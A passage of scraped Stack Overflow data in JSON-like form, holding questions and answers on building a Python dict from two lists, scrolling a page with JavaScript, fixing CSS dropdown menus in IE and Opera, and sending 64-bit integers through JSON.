"selected": false,
"text": "<p>For those who need simple code and aren’t familiar with <code>zip</code>:</p>\n\n<pre><code>List1 = ['This', 'is', 'a', 'list']\nList2 = ['Put', 'this', 'into', 'dictionary']\n</code></pre>\n\n<p>This can be done by one line of code:</p>\n\n<pre><code>d = {List1[n]: List2[n] for n in range(len(List1))}\n</code></pre>\n"
},
{
"answer_id": 16750190,
"author": "kiriloff",
"author_id": 1141493,
"author_profile": "https://Stackoverflow.com/users/1141493",
"pm_score": 4,
"selected": false,
"text": "<p>with Python 3.x, goes for dict comprehensions</p>\n\n<pre><code>keys = ('name', 'age', 'food')\nvalues = ('Monty', 42, 'spam')\n\ndic = {k:v for k,v in zip(keys, values)}\n\nprint(dic)\n</code></pre>\n\n<p>More on <a href=\"http://www.python.org/dev/peps/pep-0274/\" rel=\"noreferrer\">dict comprehensions here</a>, an example is there:</p>\n\n<pre><code>>>> print {i : chr(65+i) for i in range(4)}\n {0 : 'A', 1 : 'B', 2 : 'C', 3 : 'D'}\n</code></pre>\n"
},
{
"answer_id": 33728822,
"author": "Polla A. Fattah",
"author_id": 235449,
"author_profile": "https://Stackoverflow.com/users/235449",
"pm_score": 4,
"selected": false,
"text": "<p>A more natural way is to use dictionary comprehension </p>\n\n<pre><code>keys = ('name', 'age', 'food')\nvalues = ('Monty', 42, 'spam') \ndict = {keys[i]: values[i] for i in range(len(keys))}\n</code></pre>\n"
},
{
"answer_id": 33737067,
"author": "Russia Must Remove Putin",
"author_id": 541136,
"author_profile": "https://Stackoverflow.com/users/541136",
"pm_score": 8,
"selected": false,
"text": "<blockquote>\n <p>Imagine that you have:</p>\n\n<pre><code>keys = ('name', 'age', 'food')\nvalues = ('Monty', 42, 'spam')\n</code></pre>\n \n <p><strong>What is the simplest way to produce the following dictionary ?</strong></p>\n\n<pre><code>dict = {'name' : 'Monty', 'age' : 42, 'food' : 'spam'}\n</code></pre>\n</blockquote>\n\n<h2>Most performant, <code>dict</code> constructor with <code>zip</code></h2>\n\n<pre class=\"lang-py prettyprint-override\"><code>new_dict = dict(zip(keys, values))\n</code></pre>\n\n<p>In Python 3, zip now returns a lazy iterator, and this is now the most performant approach.</p>\n\n<p><code>dict(zip(keys, values))</code> does require the one-time global lookup each for <code>dict</code> and <code>zip</code>, but it doesn't form any unnecessary intermediate data-structures or have to deal with local lookups in function application.</p>\n\n<h2>Runner-up, dict comprehension:</h2>\n\n<p>A close runner-up to using the dict constructor is to use the native syntax of a dict comprehension (not a <em>list</em> comprehension, as others have mistakenly put it):</p>\n\n<pre><code>new_dict = {k: v for k, v in zip(keys, values)}\n</code></pre>\n\n<p>Choose this when you need to map or filter based on the keys or value.</p>\n\n<p>In Python 2, <code>zip</code> returns a list, to avoid creating an unnecessary list, use <code>izip</code> instead (aliased to zip can reduce code changes when you move to Python 3).</p>\n\n<pre><code>from itertools import izip as zip\n</code></pre>\n\n<p>So that is still (2.7):</p>\n\n<pre><code>new_dict = {k: v for k, v in zip(keys, values)}\n</code></pre>\n\n<h2>Python 2, ideal for <= 2.6</h2>\n\n<p><code>izip</code> from <code>itertools</code> becomes <code>zip</code> in Python 3. <code>izip</code> is better than zip for Python 2 (because it avoids the unnecessary list creation), and ideal for 2.6 or below:</p>\n\n<pre><code>from itertools import izip\nnew_dict = dict(izip(keys, values))\n</code></pre>\n\n<h2>Result for all cases:</h2>\n\n<p>In all cases:</p>\n\n<pre><code>>>> new_dict\n{'age': 42, 'name': 'Monty', 'food': 'spam'}\n</code></pre>\n\n<h2>Explanation:</h2>\n\n<p>If we look at the help on <code>dict</code> we see that it takes a variety of forms of arguments:</p>\n\n<pre class=\"lang-none prettyprint-override\"><code>\n>>> help(dict)\n\nclass dict(object)\n | dict() -> new empty dictionary\n | dict(mapping) -> new dictionary initialized from a mapping object's\n | (key, value) pairs\n | dict(iterable) -> new dictionary initialized as if via:\n | d = {}\n | for k, v in iterable:\n | d[k] = v\n | dict(**kwargs) -> new dictionary initialized with the name=value pairs\n | in the keyword argument list. For example: dict(one=1, two=2)\n\n</code></pre>\n\n<p>The optimal approach is to use an iterable while avoiding creating unnecessary data structures. In Python 2, zip creates an unnecessary list:</p>\n\n<pre><code>>>> zip(keys, values)\n[('name', 'Monty'), ('age', 42), ('food', 'spam')]\n</code></pre>\n\n<p>In Python 3, the equivalent would be:</p>\n\n<pre><code>>>> list(zip(keys, values))\n[('name', 'Monty'), ('age', 42), ('food', 'spam')]\n</code></pre>\n\n<p>and Python 3's <code>zip</code> merely creates an iterable object:</p>\n\n<pre><code>>>> zip(keys, values)\n<zip object at 0x7f0e2ad029c8>\n</code></pre>\n\n<p>Since we want to avoid creating unnecessary data structures, we usually want to avoid Python 2's <code>zip</code> (since it creates an unnecessary list).</p>\n\n<h2>Less performant alternatives:</h2>\n\n<p>This is a generator expression being passed to the dict constructor:</p>\n\n<pre><code>generator_expression = ((k, v) for k, v in zip(keys, values))\ndict(generator_expression)\n</code></pre>\n\n<p>or equivalently:</p>\n\n<pre><code>dict((k, v) for k, v in zip(keys, values))\n</code></pre>\n\n<p>And this is a list comprehension being passed to the dict constructor:</p>\n\n<pre><code>dict([(k, v) for k, v in zip(keys, values)])\n</code></pre>\n\n<p>In the first two cases, an extra layer of non-operative (thus unnecessary) computation is placed over the zip iterable, and in the case of the list comprehension, an extra list is unnecessarily created. I would expect all of them to be less performant, and certainly not more-so.</p>\n\n<h2>Performance review:</h2>\n\n<p>In 64 bit Python 3.8.2 provided by Nix, on Ubuntu 16.04, ordered from fastest to slowest:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>>>> min(timeit.repeat(lambda: dict(zip(keys, values))))\n0.6695233230129816\n>>> min(timeit.repeat(lambda: {k: v for k, v in zip(keys, values)}))\n0.6941362579818815\n>>> min(timeit.repeat(lambda: {keys[i]: values[i] for i in range(len(keys))}))\n0.8782548159942962\n>>> \n>>> min(timeit.repeat(lambda: dict([(k, v) for k, v in zip(keys, values)])))\n1.077607496001292\n>>> min(timeit.repeat(lambda: dict((k, v) for k, v in zip(keys, values))))\n1.1840861019445583\n</code></pre>\n\n<p><code>dict(zip(keys, values))</code> wins even with small sets of keys and values, but for larger sets, the differences in performance will become greater.</p>\n\n<p>A commenter said:</p>\n\n<blockquote>\n <p><code>min</code> seems like a bad way to compare performance. Surely <code>mean</code> and/or <code>max</code> would be much more useful indicators for real usage.</p>\n</blockquote>\n\n<p>We use <code>min</code> because these algorithms are deterministic. We want to know the performance of the algorithms under the best conditions possible. </p>\n\n<p>If the operating system hangs for any reason, it has nothing to do with what we're trying to compare, so we need to exclude those kinds of results from our analysis.</p>\n\n<p>If we used <code>mean</code>, those kinds of events would skew our results greatly, and if we used <code>max</code> we will only get the most extreme result - the one most likely affected by such an event.</p>\n\n<p>A commenter also says:</p>\n\n<blockquote>\n <p>In python 3.6.8, using mean values, the dict comprehension is indeed still faster, by about 30% for these small lists. For larger lists (10k random numbers), the <code>dict</code> call is about 10% faster. </p>\n</blockquote>\n\n<p>I presume we mean <code>dict(zip(...</code> with 10k random numbers. That does sound like a fairly unusual use case. It does makes sense that the most direct calls would dominate in large datasets, and I wouldn't be surprised if OS hangs are dominating given how long it would take to run that test, further skewing your numbers. And if you use <code>mean</code> or <code>max</code> I would consider your results meaningless.</p>\n\n<p>Let's use a more realistic size on our top examples:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>import numpy\nimport timeit\nl1 = list(numpy.random.random(100))\nl2 = list(numpy.random.random(100))\n</code></pre>\n\n<p>And we see here that <code>dict(zip(...</code> does indeed run faster for larger datasets by about 20%.</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>>>> min(timeit.repeat(lambda: {k: v for k, v in zip(l1, l2)}))\n9.698965263989521\n>>> min(timeit.repeat(lambda: dict(zip(l1, l2))))\n7.9965161079890095\n</code></pre>\n"
},
{
"answer_id": 44149939,
"author": "xiyurui",
"author_id": 4318842,
"author_profile": "https://Stackoverflow.com/users/4318842",
"pm_score": -1,
"selected": false,
"text": "<p>method without zip function</p>\n\n<pre><code>l1 = [1,2,3,4,5]\nl2 = ['a','b','c','d','e']\nd1 = {}\nfor l1_ in l1:\n for l2_ in l2:\n d1[l1_] = l2_\n l2.remove(l2_)\n break \n\nprint (d1)\n\n\n{1: 'd', 2: 'b', 3: 'e', 4: 'a', 5: 'c'}\n</code></pre>\n"
},
{
"answer_id": 47331117,
"author": "Akash Nayak",
"author_id": 8818872,
"author_profile": "https://Stackoverflow.com/users/8818872",
"pm_score": 2,
"selected": false,
"text": "<p>you can use this below code:</p>\n\n<pre><code>dict(zip(['name', 'age', 'food'], ['Monty', 42, 'spam']))\n</code></pre>\n\n<p>But make sure that length of the lists will be same.if length is not same.then zip function turncate the longer one.</p>\n"
},
{
"answer_id": 49890306,
"author": "AbstProcDo",
"author_id": 7301792,
"author_profile": "https://Stackoverflow.com/users/7301792",
"pm_score": 2,
"selected": false,
"text": "<ul>\n<li>2018-04-18</li>\n</ul>\n\n<p>The best solution is still:</p>\n\n<pre><code>In [92]: keys = ('name', 'age', 'food')\n...: values = ('Monty', 42, 'spam')\n...: \n\nIn [93]: dt = dict(zip(keys, values))\nIn [94]: dt\nOut[94]: {'age': 42, 'food': 'spam', 'name': 'Monty'}\n</code></pre>\n\n<p>Tranpose it:</p>\n\n<pre><code> lst = [('name', 'Monty'), ('age', 42), ('food', 'spam')]\n keys, values = zip(*lst)\n In [101]: keys\n Out[101]: ('name', 'age', 'food')\n In [102]: values\n Out[102]: ('Monty', 42, 'spam')\n</code></pre>\n"
},
{
"answer_id": 54786370,
"author": "Cyd",
"author_id": 4805124,
"author_profile": "https://Stackoverflow.com/users/4805124",
"pm_score": 2,
"selected": false,
"text": "<p>Here is also an example of adding a list value in you dictionary</p>\n\n<pre><code>list1 = [\"Name\", \"Surname\", \"Age\"]\nlist2 = [[\"Cyd\", \"JEDD\", \"JESS\"], [\"DEY\", \"AUDIJE\", \"PONGARON\"], [21, 32, 47]]\ndic = dict(zip(list1, list2))\nprint(dic)\n</code></pre>\n\n<p>always make sure the your \"Key\"(list1) is always in the first parameter.</p>\n\n<pre><code>{'Name': ['Cyd', 'JEDD', 'JESS'], 'Surname': ['DEY', 'AUDIJE', 'PONGARON'], 'Age': [21, 32, 47]}\n</code></pre>\n"
},
{
"answer_id": 57123635,
"author": "Mayank Prakash",
"author_id": 8581348,
"author_profile": "https://Stackoverflow.com/users/8581348",
"pm_score": 2,
"selected": false,
"text": "<p>I had this doubt while I was trying to solve a graph-related problem. The issue I had was I needed to define an empty adjacency list and wanted to initialize all the nodes with an empty list, that's when I thought how about I check if it is fast enough, I mean if it will be worth doing a zip operation rather than simple assignment key-value pair. After all most of the times, the time factor is an important ice breaker. So I performed timeit operation for both approaches.</p>\n\n<pre><code>import timeit\ndef dictionary_creation(n_nodes):\n dummy_dict = dict()\n for node in range(n_nodes):\n dummy_dict[node] = []\n return dummy_dict\n\n\ndef dictionary_creation_1(n_nodes):\n keys = list(range(n_nodes))\n values = [[] for i in range(n_nodes)]\n graph = dict(zip(keys, values))\n return graph\n\n\ndef wrapper(func, *args, **kwargs):\n def wrapped():\n return func(*args, **kwargs)\n return wrapped\n\niteration = wrapper(dictionary_creation, n_nodes)\nshorthand = wrapper(dictionary_creation_1, n_nodes)\n\nfor trail in range(1, 8):\n print(f'Itertion: {timeit.timeit(iteration, number=trails)}\\nShorthand: {timeit.timeit(shorthand, number=trails)}')\n</code></pre>\n\n<p>For n_nodes = 10,000,000\nI get,</p>\n\n<p>Iteration: 2.825081646999024\nShorthand: 3.535717916001886</p>\n\n<p>Iteration: 5.051560923002398\nShorthand: 6.255070794999483</p>\n\n<p>Iteration: 6.52859034499852\nShorthand: 8.221581164998497</p>\n\n<p>Iteration: 8.683652416999394\nShorthand: 12.599181543999293</p>\n\n<p>Iteration: 11.587241565001023\nShorthand: 15.27298851100204</p>\n\n<p>Iteration: 14.816342867001367\nShorthand: 17.162912737003353</p>\n\n<p>Iteration: 16.645022411001264\nShorthand: 19.976680120998935</p>\n\n<p>You can clearly see after a certain point, iteration approach at n_th step overtakes the time taken by shorthand approach at n-1_th step.</p>\n"
},
{
"answer_id": 58700255,
"author": "jay123",
"author_id": 11073169,
"author_profile": "https://Stackoverflow.com/users/11073169",
"pm_score": 0,
"selected": false,
"text": "<p><strong>Solution as dictionary comprehension with enumerate:</strong></p>\n\n<pre><code>dict = {item : values[index] for index, item in enumerate(keys)}\n</code></pre>\n\n<p><strong>Solution as for loop with enumerate:</strong></p>\n\n<pre><code>dict = {}\nfor index, item in enumerate(keys):\n dict[item] = values[index]\n</code></pre>\n"
},
{
"answer_id": 63626892,
"author": "Franco",
"author_id": 6184958,
"author_profile": "https://Stackoverflow.com/users/6184958",
"pm_score": -1,
"selected": false,
"text": "<p>Although there are multiple ways of doing this but i think most fundamental way of approaching it; <strong><strong>creating a loop and dictionary and store values into that dictionary</strong></strong>. In the recursive approach the idea is still same it but instead of using a loop, the function called itself until it reaches to the end. Of course there are other approaches like using <code>dict(zip(key, value))</code> and etc. <em>These aren't the most effective solutions.</em></p>\n<pre><code>y = [1,2,3,4]\nx = ["a","b","c","d"]\n\n# This below is a brute force method\nobj = {}\nfor i in range(len(y)):\n obj[y[i]] = x[i]\nprint(obj)\n\n# Recursive approach \nobj = {}\ndef map_two_lists(a,b,j=0):\n if j < len(a):\n obj[b[j]] = a[j]\n j +=1\n map_two_lists(a, b, j)\n return obj\n \n\n\nres = map_two_lists(x,y)\nprint(res)\n\n</code></pre>\n<p>Both the results should print</p>\n<pre><code>{1: 'a', 2: 'b', 3: 'c', 4: 'd'} \n</code></pre>\n"
},
{
"answer_id": 65325139,
"author": "DonkeyKong",
"author_id": 2348356,
"author_profile": "https://Stackoverflow.com/users/2348356",
"pm_score": 0,
"selected": false,
"text": "<p>If you are working with more than 1 set of values and wish to have a <em>list of dicts</em> you can use this:</p>\n<pre><code>def as_dict_list(data: list, columns: list):\n return [dict((zip(columns, row))) for row in data]\n</code></pre>\n<p>Real-life example would be a list of tuples from a db query paired to a tuple of columns from the same query. Other answers only provided for 1 to 1.</p>\n"
},
{
"answer_id": 66474032,
"author": "Zeinab Mardi",
"author_id": 13194716,
"author_profile": "https://Stackoverflow.com/users/13194716",
"pm_score": 0,
"selected": false,
"text": "<pre><code>keys = ['name', 'age', 'food']\nvalues = ['Monty', 42, 'spam']\ndic = {}\nc = 0\nfor i in keys:\n dic[i] = values[c]\n c += 1\n\nprint(dic)\n{'name': 'Monty', 'age': 42, 'food': 'spam'}\n</code></pre>\n"
},
{
"answer_id": 72278884,
"author": "J.Jai",
"author_id": 6441604,
"author_profile": "https://Stackoverflow.com/users/6441604",
"pm_score": 1,
"selected": false,
"text": "<p>It can be done by the following way.</p>\n<pre><code>keys = ['name', 'age', 'food']\nvalues = ['Monty', 42, 'spam'] \n\ndict = {}\n\nfor i in range(len(keys)):\n dict[keys[i]] = values[i]\n \nprint(dict)\n\n{'name': 'Monty', 'age': 42, 'food': 'spam'}\n</code></pre>\n"
},
{
"answer_id": 74518881,
"author": "guest",
"author_id": 19215298,
"author_profile": "https://Stackoverflow.com/users/19215298",
"pm_score": 1,
"selected": false,
"text": "<p>All answers sum up:</p>\n<pre><code>l = [1, 5, 8, 9]\nll = [3, 7, 10, 11]\n</code></pre>\n<p><strong>zip</strong>:</p>\n<pre><code>dict(zip(l,ll)) # {1: 3, 5: 7, 8: 10, 9: 11}\n\n#if you want to play with key or value @recommended\n\n{k:v*10 for k, v in zip(l, ll)} #{1: 30, 5: 70, 8: 100, 9: 110}\n</code></pre>\n<p><strong>counter</strong>:</p>\n<pre><code>d = {}\nc=0\nfor k in l:\n d[k] = ll[c] #setting up keys from the second list values\n c += 1\nprint(d)\n{1: 3, 5: 7, 8: 10, 9: 11}\n\n</code></pre>\n<p><strong>enumerate</strong>:</p>\n<pre><code>d = {}\nfor i,k in enumerate(l):\n d[k] = ll[i]\nprint(d)\n{1: 3, 5: 7, 8: 10, 9: 11}\n</code></pre>\n"
},
{
"answer_id": 74680310,
"author": "Soudipta Dutta",
"author_id": 6037956,
"author_profile": "https://Stackoverflow.com/users/6037956",
"pm_score": 0,
"selected": false,
"text": "<pre><code> import pprint\n def makeDictUsingAlternateLists1(**rest):\n print("*rest.keys() : ",*rest.keys())\n print("rest.keys() : ",rest.keys())\n print("*rest.values() : ",*rest.values())\n print("**rest.keys() : ",rest.keys())\n print("**rest.values() : ",rest.values())\n [print(a) for a in zip(*rest.values())]\n \n [ print(dict(zip(rest.keys(),a))) for a in zip(*rest.values())]\n print("...")\n \n \n finalRes= [ dict( zip( rest.keys(),a)) for a in zip(*rest.values())] \n return finalRes\n \n l = makeDictUsingAlternateLists1(p=p,q=q,r=r,s=s)\n pprint.pprint(l) \n"""\n*rest.keys() : p q r s\nrest.keys() : dict_keys(['p', 'q', 'r', 's'])\n*rest.values() : ['A', 'B', 'C'] [5, 2, 7] ['M', 'F', 'M'] ['Sovabazaar', 'Shyambazaar', 'Bagbazaar', 'Hatkhola']\n**rest.keys() : dict_keys(['p', 'q', 'r', 's'])\n**rest.values() : dict_values([['A', 'B', 'C'], [5, 2, 7], ['M', 'F', 'M'], ['Sovabazaar', 'Shyambazaar', 'Bagbazaar', 'Hatkhola']])\n('A', 5, 'M', 'Sovabazaar')\n('B', 2, 'F', 'Shyambazaar')\n('C', 7, 'M', 'Bagbazaar')\n{'p': 'A', 'q': 5, 'r': 'M', 's': 'Sovabazaar'}\n{'p': 'B', 'q': 2, 'r': 'F', 's': 'Shyambazaar'}\n{'p': 'C', 'q': 7, 'r': 'M', 's': 'Bagbazaar'}\n...\n[{'p': 'A', 'q': 5, 'r': 'M', 's': 'Sovabazaar'},\n {'p': 'B', 'q': 2, 'r': 'F', 's': 'Shyambazaar'},\n {'p': 'C', 'q': 7, 'r': 'M', 's': 'Bagbazaar'}]\n"""\n</code></pre>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/209840",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/12388/"
] |
I want to combine these:
```py
keys = ['name', 'age', 'food']
values = ['Monty', 42, 'spam']
```
Into a single dictionary:
```py
{'name': 'Monty', 'age': 42, 'food': 'spam'}
```
|
Like this:
```
keys = ['a', 'b', 'c']
values = [1, 2, 3]
dictionary = dict(zip(keys, values))
print(dictionary) # {'a': 1, 'b': 2, 'c': 3}
```
Voila :-) The pairwise [`dict`](https://docs.python.org/3/library/functions.html#func-dict) constructor and [`zip`](https://docs.python.org/3/library/functions.html#zip) function are awesomely useful.
|
209,861 |
<p>I have a HTML page that scrolls up and down (not a lot, but it does scroll). How can I set the scroll position in the page after executing some JavaScript?</p>
<p>I'm using jQuery to inject some additional HTML at the bottom of the page and I'd like to programmatically scroll to the position of that new content after it's added.</p>
|
[
{
"answer_id": 209881,
"author": "KernelM",
"author_id": 22328,
"author_profile": "https://Stackoverflow.com/users/22328",
"pm_score": 3,
"selected": false,
"text": "<p>Try using <a href=\"http://developer.mozilla.org/en/DOM/window.scroll\" rel=\"nofollow noreferrer\"><code>window.scroll</code></a>.</p>\n\n<blockquote>\n <p>Example:</p>\n\n<pre><code>// put the 100th vertical pixel at the top of the window\n<button onClick=\"scroll(0, 100);\">click to scroll down 100 pixels</button>\n</code></pre>\n</blockquote>\n"
},
{
"answer_id": 210028,
"author": "Jason Bunting",
"author_id": 1790,
"author_profile": "https://Stackoverflow.com/users/1790",
"pm_score": 1,
"selected": true,
"text": "<p>Another way to do this, so that you have the option:</p>\n\n<p>In the HTML you are adding to the bottom of the page, you can insert a named anchor tag and then change the URL so that the page moves there (FYI: it will not refresh the page).</p>\n\n<pre><code>// add HTML like this, dynamically:\n// <a name=\"moveHere\" />\n\n// the javascript to make the page go to that location:\nwindow.location.hash = \"moveHere\";\n</code></pre>\n\n<p>Depending on what you are doing, this may or may not be a useful solution. </p>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/209861",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2536/"
] |
I have a HTML page that scrolls up and down (not a lot, but it does scroll). How can I set the scroll position in the page after executing some JavaScript?
I'm using jQuery to inject some additional HTML at the bottom of the page and I'd like to programmatically scroll to the position of that new content after it's added.
|
Another way to do this, so that you have the option:
In the HTML you are adding to the bottom of the page, you can insert a named anchor tag and then change the URL so that the page moves there (FYI: it will not refresh the page).
```
// add HTML like this, dynamically:
// <a name="moveHere" />
// the javascript to make the page go to that location:
window.location.hash = "moveHere";
```
Depending on what you are doing, this may or may not be a useful solution.
|
209,862 |
<p>This page displays beautifully in firefox but i get all kinds of problems when testing the site in opera or internet explorer, mostly with the menu. I would like to know what techniques have caused this and how to avoid them. </p>
<p><a href="http://www.jkhbdesign.se/" rel="nofollow noreferrer">http://www.jkhbdesign.se/</a></p>
<p>Edit 2: Here are some screenshots of some specific problems</p>
<p>The dropdown as it should look:</p>
<p><a href="http://nibbo.se/slask/correct.png" rel="nofollow noreferrer">alt text http://nibbo.se/slask/correct.png</a></p>
<p>The way it looks in IE 7:</p>
<p><a href="http://nibbo.se/slask/dropdownie.png" rel="nofollow noreferrer">alt text http://nibbo.se/slask/dropdownie.png</a></p>
<p>The way it looks in Opera:</p>
<p><a href="http://nibbo.se/slask/dropdownopera.png" rel="nofollow noreferrer">alt text http://nibbo.se/slask/dropdownopera.png</a></p>
|
[
{
"answer_id": 209934,
"author": "Geoff",
"author_id": 1097,
"author_profile": "https://Stackoverflow.com/users/1097",
"pm_score": 3,
"selected": true,
"text": "<p>At the very least you are going to have to deal with the fact that the CSS :hover is not supported in IE for any tag except the anchor tag. You'll need to use onmouseover, onmouseout in IE to accomplish the same thing. Or change the li:hover to an a:hover but that would be a bigger overhaul of your design I think.</p>\n\n<p>Specifically, CSS like this:</p>\n\n<pre><code>ul.menu li:hover ul.submenu {\nbackground:white none repeat scroll 0 0;\nborder:1px solid #A6A6A6;\ndisplay:block;\nmargin-left:-25px;\nmargin-top:23px;\npadding:2px 0;\nposition:absolute;\n}\n</code></pre>\n\n<p>Is not going to work properly in Internet Explorer. I don't know about Opera.</p>\n"
},
{
"answer_id": 209956,
"author": "George Stocker",
"author_id": 16587,
"author_profile": "https://Stackoverflow.com/users/16587",
"pm_score": 2,
"selected": false,
"text": "<p>I had this issue with a <a href=\"http://www.stannscatholicschool.com\" rel=\"nofollow noreferrer\">site I created</a>. The problem ended up being that I shouldn't have ended the <code><li></code> tag before the next <code><ul></code> tag started in the menu. </p>\n\n<p>For example:</p>\n\n<pre><code><div id=\"menu\">\n <ul><a href=\"/index.html\">Home</a>\n\n <li><a href=\"/aboutus/index.html\">About Us</a>\n <ul>\n <li><a href=\"/aboutus/history.html\">History</a>\n</code></pre>\n\n<p>Note no closing <code></li></code> tag.</p>\n\n<p>I ran into a lot of problems with IE and CSS Menus. I recommend the following resources, they may save you a lot of time:</p>\n\n<ul>\n<li><a href=\"http://www.seoconsultants.com/css/menus/horizontal/\" rel=\"nofollow noreferrer\">http://www.seoconsultants.com/css/menus/horizontal/</a></li>\n<li><a href=\"http://www.alistapart.com/articles/horizdropdowns\" rel=\"nofollow noreferrer\">http://www.alistapart.com/articles/horizdropdowns</a></li>\n</ul>\n\n<p>Let me know how that goes.</p>\n\n<p>For what it's worth, the first resource includes a csshover.htc file and its usage -- which the site I created uses to fix the issues caused with Internet Explorer. If you view the source for the site, you'll also see conditional comments that pertain to Internet Explorer.</p>\n"
},
{
"answer_id": 209975,
"author": "JamesSugrue",
"author_id": 1075,
"author_profile": "https://Stackoverflow.com/users/1075",
"pm_score": 1,
"selected": false,
"text": "<p>Without seeing the CSS for your site, I suspect that you are using css:hover with Lists to create the menu. IE doesn't support this, so you have to supply a behaviour file to allow IE to have the functionality,\n<a href=\"http://www.xs4all.nl/~peterned/csshover.html\" rel=\"nofollow noreferrer\">Link with a file here</a></p>\n"
},
{
"answer_id": 210073,
"author": "Anne Porosoff",
"author_id": 28701,
"author_profile": "https://Stackoverflow.com/users/28701",
"pm_score": 0,
"selected": false,
"text": "<p>If you're familiar with javascript, you might want to look into the JQuery Superfish plugin. (<a href=\"http://plugins.jquery.com/project/Superfish\" rel=\"nofollow noreferrer\">http://plugins.jquery.com/project/Superfish</a>). Most of the hard work and weird browser issues are already taken care of for you.</p>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/209862",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/28668/"
] |
This page displays beautifully in firefox but i get all kinds of problems when testing the site in opera or internet explorer, mostly with the menu. I would like to know what techniques have caused this and how to avoid them.
<http://www.jkhbdesign.se/>
Edit 2: Here are some screenshots of some specific problems
The dropdown as it should look:
[alt text http://nibbo.se/slask/correct.png](http://nibbo.se/slask/correct.png)
The way it looks in IE 7:
[alt text http://nibbo.se/slask/dropdownie.png](http://nibbo.se/slask/dropdownie.png)
The way it looks in Opera:
[alt text http://nibbo.se/slask/dropdownopera.png](http://nibbo.se/slask/dropdownopera.png)
|
At the very least you are going to have to deal with the fact that the CSS :hover is not supported in IE for any tag except the anchor tag. You'll need to use onmouseover, onmouseout in IE to accomplish the same thing. Or change the li:hover to an a:hover but that would be a bigger overhaul of your design I think.
Specifically, CSS like this:
```
ul.menu li:hover ul.submenu {
background:white none repeat scroll 0 0;
border:1px solid #A6A6A6;
display:block;
margin-left:-25px;
margin-top:23px;
padding:2px 0;
position:absolute;
}
```
Is not going to work properly in Internet Explorer. I don't know about Opera.
|
209,869 |
<p>Some of my data are 64-bit integers. I would like to send these to a JavaScript program running on a page.</p>
<p>However, as far as I can tell, integers in most JavaScript implementations are 32-bit signed quantities.</p>
<p>My two options seem to be:</p>
<ol>
<li>Send the values as strings</li>
<li>Send the values as 64-bit floating point numbers</li>
</ol>
<p>Option (1) isn't perfect, but option (2) seems far less perfect (loss of data).</p>
<p>How have you handled this situation?</p>
|
[
{
"answer_id": 209877,
"author": "Javier",
"author_id": 11649,
"author_profile": "https://Stackoverflow.com/users/11649",
"pm_score": 0,
"selected": false,
"text": "<p>JSON itself doesn't care about implementation limits.\nyour problem is that JS can't handle your data, not the protocol.\nIn other words, your JS client code has to use either of those non-perfect options.</p>\n"
},
{
"answer_id": 209892,
"author": "Simon Howard",
"author_id": 24806,
"author_profile": "https://Stackoverflow.com/users/24806",
"pm_score": 6,
"selected": true,
"text": "<p>This seems to be less a problem with JSON and more a problem with Javascript itself. What are you planning to do with these numbers? If it's just a magic token that you need to pass back to the website later on, by all means simply use a string containing the value. If you actually have to do arithmetic on the value, you could possibly write your own Javascript routines for 64-bit arithmetic. </p>\n\n<p>One way that you could represent values in Javascript (and hence JSON) would be by splitting the numbers into two 32-bit values, eg.</p>\n\n<pre><code> [ 12345678, 12345678 ]\n</code></pre>\n\n<p>To split a 64-bit value into two 32-bit values, do something like this:</p>\n\n<pre><code> output_values[0] = (input_value >> 32) & 0xffffffff;\n output_values[1] = input_value & 0xffffffff;\n</code></pre>\n\n<p>Then to recombine two 32-bit values to a 64-bit value:</p>\n\n<pre><code> input_value = ((int64_t) output_values[0]) << 32) | output_values[1];\n</code></pre>\n"
},
{
"answer_id": 210352,
"author": "olliej",
"author_id": 784,
"author_profile": "https://Stackoverflow.com/users/784",
"pm_score": 2,
"selected": false,
"text": "<p>The JS number representation is a standard ieee double, so you can't represent a 64 bit integer. iirc you get maybe 48 bits of actual int precision in a double, but all JS bitops reduce to 32bit precision (that's what the spec requires. yay!) so if you really need a 64bit int in js you'll need to implement your own 64 bit int logic library.</p>\n"
},
{
"answer_id": 858857,
"author": "David Leonard",
"author_id": 19502,
"author_profile": "https://Stackoverflow.com/users/19502",
"pm_score": 3,
"selected": false,
"text": "<p>Javascript's Number type (64 bit IEEE 754) only has about 53 bits of precision.</p>\n\n<p>But, if you don't need to do any addition or multiplication, then you could keep 64-bit value as 4-character strings as JavaScript uses UTF-16.</p>\n\n<p>For example, 1 could be encoded as \"\\u0000\\u0000\\u0000\\u0001\". This has the advantage that value comparison (==, >, <) works on strings as expected. It also seems straightforward to write bit operations:</p>\n\n<pre><code>function and64(a,b) {\n var r = \"\";\n for (var i = 0; i < 4; i++)\n r += String.fromCharCode(a.charCodeAt(i) & b.charCodeAt(i));\n return r;\n}\n</code></pre>\n"
},
{
"answer_id": 34989371,
"author": "Arnaud Bouchez",
"author_id": 458259,
"author_profile": "https://Stackoverflow.com/users/458259",
"pm_score": 5,
"selected": false,
"text": "<p>There is in fact a limitation at JavaScript/ECMAScript level of precision to 53-bit for integers (they are stored in the mantissa of a "double-like" 8 bytes memory buffer). So transmitting big numbers as JSON won't be unserialized as expected by the JavaScript client, which would truncate them to its 53-bit resolution.</p>\n<pre><code>> parseInt("10765432100123456789")\n10765432100123458000\n</code></pre>\n<p>See the <a href=\"https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Number/MAX_SAFE_INTEGER\" rel=\"noreferrer\"><code>Number.MAX_SAFE_INTEGER</code> constant</a> and <code>Number.isSafeInteger()</code> function:</p>\n<blockquote>\n<p>The <code>MAX_SAFE_INTEGER</code> constant has a value of <code>9007199254740991</code>. The\nreasoning behind that number is that JavaScript uses double-precision\nfloating-point format numbers as specified in IEEE 754 and can only\nsafely represent numbers between <code>-(2^53 - 1)</code> and <code>2^53 - 1</code>.</p>\n<p>Safe in this context refers to the ability to represent integers\nexactly and to correctly compare them. For example,\n<code>Number.MAX_SAFE_INTEGER + 1 === Number.MAX_SAFE_INTEGER + 2</code> will\nevaluate to <code>true</code>, which is mathematically incorrect. See\n<code>Number.isSafeInteger()</code> for more information.</p>\n</blockquote>\n<p>Due to the resolution of floats in JavaScript, using "64-bit floating point numbers" as you proposed would suffer from the very same restriction.</p>\n<p>IMHO the best option is to transmit such values as text. It would be still perfectly readable JSON content, and would be 